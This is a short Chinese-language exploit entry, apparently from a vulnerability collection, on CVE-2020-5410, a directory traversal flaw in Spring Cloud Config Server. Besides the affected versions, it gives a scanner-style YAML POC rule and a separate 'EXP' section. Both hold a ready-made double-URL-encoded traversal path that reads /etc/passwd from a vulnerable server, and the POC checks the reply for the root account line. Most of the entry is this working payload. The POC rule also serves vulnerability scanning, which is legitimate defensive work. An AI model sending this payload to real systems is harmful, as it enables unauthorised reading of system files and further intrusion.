Spring Cloud Config Server目录遍历（CVE-2020-5410）

## 漏洞概述

Spring Cloud Config、2.2.3 之前的 2.2.x 版、2.1.9 之前的 2.1.x 版以及不受支持的旧版本允许应用程序通过 spring-cloud-config-server 模块提供任意配置文件。恶意用户或攻击者可以使用特制的 URL 发送请求，从而导致目录遍历攻击。

## 影响范围

“`http
Spring Cloud Config
2.1.0 to 2.1.8
2.2.0 to 2.2.2
“`

## POC

“`http
name: poc-yaml-spring-cloud-cve-2020-5410
rules:
– method: GET
path: >-
/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/a
expression: |
response.status == 200 && “root:[x*]:0:0:”.bmatches(response.body)
detail:
author: Soveless(https://github.com/Soveless)
Affected Version: “Spring Cloud Config 2.2.x < 2.2.3, 2.1.x < 2.1.9" links: - https://xz.aliyun.com/t/7877 ``` ## EXP ```http /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/a ```